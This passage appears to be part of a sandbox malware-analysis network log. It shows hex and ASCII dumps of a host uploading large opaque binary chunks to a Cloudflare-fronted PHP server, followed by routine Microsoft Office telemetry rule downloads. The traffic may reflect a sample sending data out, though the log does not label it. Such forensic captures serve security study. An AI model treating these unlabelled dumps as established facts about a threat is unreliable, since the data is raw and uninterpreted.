'Uk$~7>5JvD?\|E^$tu_8<z;d-Jj8v<j~=dld2YU!oh!''f,_WY;C_7)I-mFWMYcOk:~I[Y=7Un_28T}7Tr!zU=K9l4EyG
2024-11-17 11:35:14 UTC	15331	OUT	Data Raw: 1f ba b4 2d ae 87 de dc ef 5f 1f e4 e5 bf f5 27 1e 4e 9b b9 45 bf 69 c1 97 be 7e ff b8 e6 8b 62 70 82 f9 71 a1 52 df 15 d2 a4 76 e8 4f 2c 76 3b c0 87 ff d2 e6 9f f4 55 af 6f 7c c9 8d 63 0a 58 17 22 59 15 73 af 1c 93 c5 c4 fb 22 36 49 ba 69 29 d5 95 32 9e 0d bd 01 45 cd d0 bf cc 89 3f 5b 60 a9 cf f2 29 8c 36 e3 67 13 0e 03 cc ba 3f a3 e9 9e 5b a7 0f 37 f2 ce 7f 45 45 5a 3f df 21 f9 62 06 00 cf 4e c5 19 cc 57 4e d6 3d ff cd 65 fd 37 91 d3 a7 7d 4b 29 59 1b dd b4 cb 7a e3 3d 2d a3 2f 24 7d cf 85 c1 9f 57 e3 d9 30 c4 2d 19 c5 79 ac ba 1d d3 81 77 71 c1 93 af 2e 98 19 ac c8 da 8e da 51 1d 1c 2d 71 36 2a 20 99 bb ec 69 ba 76 ef 0b f5 27 6b 20 cf 94 3e f7 a8 78 e7 ee fe af 43 f6 db 01 fa 3b 85 25 60 38 f1 33 92 44 53 a0 19 f1 03 5d 7e 28 9a 17 4c 94 67 6b a0 bb Data Ascii: -_'NEi~bpqRvO,v;Uo\|cX"Ys"6Ii)2E?[`)6g?[7EEZ?!bNWN=e7}K)Yz=-/$}W0-ywq.Q-q6* iv'k >xC;%`83DS]~(Lgk
2024-11-17 11:35:14 UTC	15331	OUT	Data Raw: c0 0c ed ea 4f 58 cd 08 3e c0 da d0 9c 07 c8 37 08 89 82 d7 ed da 86 9a ab 7e 13 be aa 8e c8 da 85 ea c0 b1 c1 21 26 67 f1 b8 26 44 3b c3 6b 37 cd 76 4b 0c ff ba 94 a4 8e e9 d3 10 07 2e 4f a5 4e 5f 05 53 ac 1d 9e fa 07 da ba 89 2d e6 57 a8 ea 17 6a 0c aa 8d 5a 19 2b 11 ad ff db ba 8e e0 ba 6b 99 71 2a 3c 42 a5 ea 74 26 06 64 95 23 de fc 3f a1 fa ff e4 6c 03 38 cd cc 96 22 02 e6 30 e0 1a 7a 6a c4 5e 12 6a 7a b9 dd f5 8b 13 b0 80 03 72 0c 09 d9 0d 3b 96 08 10 ba 9d af 0a 05 29 c1 e9 c2 2b 06 80 8c 08 13 05 07 ba ee 00 d3 ee fa 60 0c 5b 0d d5 72 ca df a8 70 a8 65 0e ff cf 24 aa 17 7d 74 a8 55 bc 00 19 f3 4a 82 fc c1 0c c2 c9 67 d4 85 18 7d 97 0b 7a 3d 9b ef 2e 8a 23 ca 90 d3 b4 d8 56 5c af a3 70 f2 a0 61 4a 75 ac d2 0d d1 29 94 80 05 91 8a d8 3c bc d4 4e 47 Data Ascii: OX>7~!&g&D;k7vK.ON_S-WjZ+kq*<Bt&d#?l8"0zj^jzr;)+`[rpe$}tUJg}z=.#V\paJu)<NG
2024-11-17 11:35:14 UTC	15331	OUT	Data Raw: 35 7a 84 56 bb 98 be 9e 19 99 08 e3 d9 bd a8 63 0d 1f fd 92 74 35 dd eb 17 3c 5e 64 59 29 d3 03 40 85 97 34 b2 e0 37 ad 9a 80 ba a2 d9 48 85 18 6c ee 32 77 0d 0e 3e a1 65 09 69 5a 92 20 28 7f 2e f7 bf 75 76 fd 76 cd bc c2 65 70 c7 ef 19 9f ef c8 38 cc 1f e9 7f 67 26 0a 00 c0 11 06 1a 89 50 28 60 ae 4f 4d 3d 18 49 3b 0f e7 87 d7 61 4f 28 37 3a 6f f7 40 5c f5 fe c3 06 60 0d 9b a7 c0 ab 3f 46 6e 0e 51 04 c0 ab a5 36 24 5d 81 45 4f 09 fd 55 7a c0 00 3b 15 a0 81 84 78 11 87 10 26 54 fa 3d 26 f7 34 21 26 b2 da f7 4b ab c0 0b 7d 6f c9 9b 2d 23 7f df b0 63 55 75 1c 72 14 16 ae 7f ae 77 ab f4 fa 1b 88 3c be 71 79 8f 0c d0 be 39 34 f1 0f 66 e3 2b c4 28 ab 3e 86 63 08 8e e9 60 84 a0 85 46 a1 5e c9 9f b2 f4 c6 3d 97 ce e4 62 7d 0b 0b 6a 08 fc 73 70 7c 62 99 8e 68 78 Data Ascii: 5zVct5<^dY)@47Hl2w>eiZ (.uvvep8g&P(`OM=I;aO(7:o@\`?FnQ6$]EOUz;x&T=&4!&K}o-#cUurw<qy94f+(>c`F^=b}jsp\|bhx
2024-11-17 11:35:14 UTC	15331	OUT	Data Raw: b5 6d 75 73 44 96 f7 09 ca 72 38 c7 90 e5 1d 88 72 00 ba 8f 5a 17 c6 f9 89 15 90 d4 08 ba c1 dd a0 c8 07 71 ed 07 e6 94 19 a1 ee 44 81 41 7c 6a dd 71 9f b5 7d 2d 66 2a 92 9b 80 5a 91 fb 52 b6 9b 0d 07 41 9d 5a 4c a9 7e 01 ef 49 ae df 9e 62 6c 48 eb fc 17 ba 20 23 a9 98 8b 45 29 da f1 20 0e 4a d6 d7 3e 84 c8 ec 02 b6 4b ea 96 07 c4 30 30 fe 6c b8 bd 29 a1 d2 ea b9 38 fc 59 20 8d f5 db 95 f5 fb 9f ba 9a 67 11 dc cd 9c ed 49 8e d2 1b d7 1a 45 8e 59 30 4b 61 e1 c8 c6 1e 6b b6 79 fc 62 38 ab 2d 71 47 3d 86 a2 3e c4 a0 32 08 e3 8d 7f bf 7d f1 eb 85 0d dd ee 15 ac fb cc 6b dc 65 64 ff 29 75 a3 d5 19 fa 32 eb 9f dd 52 03 54 55 86 0e 76 aa 87 07 d4 2c 7f ff e9 79 f3 52 88 a5 15 a1 28 6e b3 02 13 35 ff 46 f5 f4 fd 13 77 e6 9d fa 3c fd 72 7b 9e b6 08 04 d0 7d 6f 2a Data Ascii: musDr8rZqDA\|jq}-fZRAZL~IblH #E) J>K00l)8Y gIEY0Kakyb8-qG=>2}ked)u2RTUv,yR(n5Fw<r{}o
2024-11-17 11:35:14 UTC	15331	OUT	Data Raw: 4f d6 be fa 7c 0b dd fa ab 75 15 95 03 ba ca b0 17 6f f9 73 d0 ae c8 17 ab 26 5a bc 39 44 f6 5c bd fb e8 dc 10 7f 86 54 e5 a3 0c 7f d3 f8 5c 9d b6 32 77 68 72 4e 87 b9 7b f8 db ea 51 7e ce 90 c9 cc b1 fa 9b ec 6a 52 b0 e0 bb ed 20 5d 42 1d 3a d6 04 c0 51 1d 30 dd b9 b3 22 0e 22 39 c7 bc f6 60 f5 bc 99 04 68 19 51 a1 d5 dc bf 4f 7b 20 6a 1a fe 9d bb 4f 25 b5 40 c2 75 eb 8b 47 ae 35 c8 78 99 de df 22 d1 22 56 df cc 14 17 a7 88 ac 1c cf 2e ec ab 6c 78 5e 58 fc d3 1a c1 94 46 65 7c 6e 60 fd 27 04 0f 47 c3 27 44 81 1d fb 03 24 78 52 51 a5 07 90 a0 53 0a 34 9b f6 da 6d 4e 92 8c 84 a8 e4 16 0b c0 7c 75 7f 30 e8 6b 5d 25 4c 91 4e 08 40 c0 89 9c 17 4f 6a 7c b8 57 31 7c 1f 69 a7 31 64 d0 ed 8d b3 20 5d 13 77 19 03 09 03 19 9e 06 d0 d2 5f 7f 88 65 b8 39 1e 80 87 f5 Data Ascii: O\|uos&Z9D\T\2whrN{Q~jR ]B:Q0""9`hQO{ jO%@uG5x""V.lx^XFe\|n`'G'D$xRQS4mN\|u0k]%LN@Oj\|W1\|i1d ]w_e9
2024-11-17 11:35:14 UTC	15331	OUT	Data Raw: b6 d1 17 af d6 3d e4 b1 a5 df c6 e3 88 c8 41 9f f7 86 79 70 48 00 ef db b2 cd c2 43 b6 34 4a 12 5c df ec 51 5e c2 bd 62 45 7b 25 63 68 ea 08 c8 53 88 0b ed 72 d9 78 3f f7 32 c8 68 57 aa 0d 3a ec 65 93 ee 18 77 30 23 d5 3e 33 72 bf 6c b3 ad de 93 ea a7 98 7e 25 15 38 00 3a f8 d7 3f ba 51 c4 6c d5 61 e6 59 c4 df 57 30 c9 f3 8c 74 76 2e 0b ef ed 03 fd 5a 2d 4c 42 d6 a1 b1 d9 b9 c0 c1 39 aa 0b d1 fc 80 3e 29 54 2f e1 d0 86 a0 28 2f 98 e6 10 53 12 15 5e 7f 21 cc 8d 8a 52 8c f9 d2 ab 6f ff 92 bf 46 69 b8 0d 61 85 85 62 4e 38 0c 55 bd 7c 82 6f e1 d5 29 53 dc 8a 8c e4 3b ce 87 f5 ca 50 55 99 59 07 c3 8c f8 ad 2d e0 19 63 47 cf db 89 f1 e1 f0 ea 93 3f 74 a3 48 1d 2c 54 2c e3 c5 12 17 0b 8a 65 4a 85 d7 cf 5a 50 55 d1 d7 10 94 e6 15 81 67 92 5c d5 20 a1 b8 75 6f 57 Data Ascii: =AypHC4J\Q^bE{%chSrx?2hW:ew0#>3rl~%8:?QlaYW0tv.Z-LB9>)T/(/S^!RoFiabN8U\|o)S;PUY-cG?tH,T,eJZPUg\ uoW
2024-11-17 11:35:14 UTC	15331	OUT	Data Raw: 53 50 9a 42 b3 be 7b 1f 84 4f 1c 61 82 b0 9d e2 6a ac d7 0f 21 5b 92 6d 82 97 7a 0d 0a d6 60 62 4a 31 09 36 36 a4 59 67 0c f5 fa 6c 16 a0 d4 0a 92 36 61 48 98 a3 05 ea 43 67 86 ab 9b 21 2a 0e 91 8c e1 b9 be 9b 9f 6a f9 ba 30 ef 3b c8 1f ea 5d 1c f0 f3 0c 9f eb 5d ad da 7b 5a 2b 68 f6 33 d9 6f 16 43 1f 32 e7 c4 64 9d 6a a4 d3 fd 5e f9 b3 b9 77 fd d9 3c 83 b1 59 5d 0a 4b 9d f8 9f da c0 5e e2 17 f4 38 db 07 e2 d3 c4 28 e3 10 ab db 86 3c 65 3e ff a1 b0 f4 77 b0 fb b8 f8 c7 89 f5 37 28 e0 36 3c 38 c0 be 0e e4 49 d9 d5 91 33 8d b3 1b 8e f4 a1 fe 70 56 3b 0b 81 02 e1 fe cb 0b d7 36 22 dc 6f 03 bd 52 20 28 08 dc 87 3d 27 11 f0 c0 4e 17 78 e0 0f 98 3f 2c 70 0b 8f ab ae d6 3a 16 ce 49 80 c8 72 19 b0 42 e0 f7 ed 9c 15 04 fd a8 d5 98 a5 94 f9 b9 07 9e 8f fd ec cd 96 Data Ascii: SPB{Oaj![mz`bJ166Ygl6aHCg!*j0;]]{Z+h3oC2dj^w<Y]K^8(<e>w7(6<8I3pV;6"oR (='Nx?,p:IrB
2024-11-17 11:35:17 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=is4h15nmomiq8oun64vep5quhu; expires=Thu, 13-Mar-2025 05:21:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mg9tQWBeElb%2BOiINjhQamjlyrM8lUMwT4oeDVySDwsAGVcEajtXwsx3Y%2Fj6CHXRZwRT%2F5sU8TVJuYrnLW24vEVQIFtP0Q6CKneB0NbtvtUsum68RIvn9rUK8gAjpmSsX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3f6a896e3b46d7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1755&sent=214&recv=608&lost=0&retrans=0&sent_bytes=2830&recv_bytes=573952&delivery_rate=2464680&cwnd=251&unsent_bytes=0&cid=10f490559de73181&ts=3812&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:14 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:14 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 93eb20e0-b01e-0021-689b-37cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113514Z-164f84587bftbpb6hC1DFWm4kg000000032g000000002r2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:14 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:14 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:14 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: e7102de9-901e-0029-7d09-37274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113514Z-1866b5c5fbbfhwqqhC1DFW513800000003ng000000006483 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:14 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:14 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:14 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113514Z-16547b76f7fsq6p7hC1DFWfx6800000002mg00000000c5d9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:15 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:14 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:14 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113514Z-16547b76f7fsq6p7hC1DFWfx6800000002t0000000001b92 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:15 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:14 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:14 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6ebc7fcd-801e-00a0-42aa-372196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113514Z-164f84587bfbvgrghC1DFWbs7w0000000450000000008fta x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:15 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:15 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 01d00230-301e-0052-7b89-3865d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113515Z-16547b76f7fkz9l7hC1DFW35uc000000017000000000c7wk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:15 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:15 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113515Z-16547b76f7fd77jrhC1DFWfwq000000000u000000000bhc2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:15 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
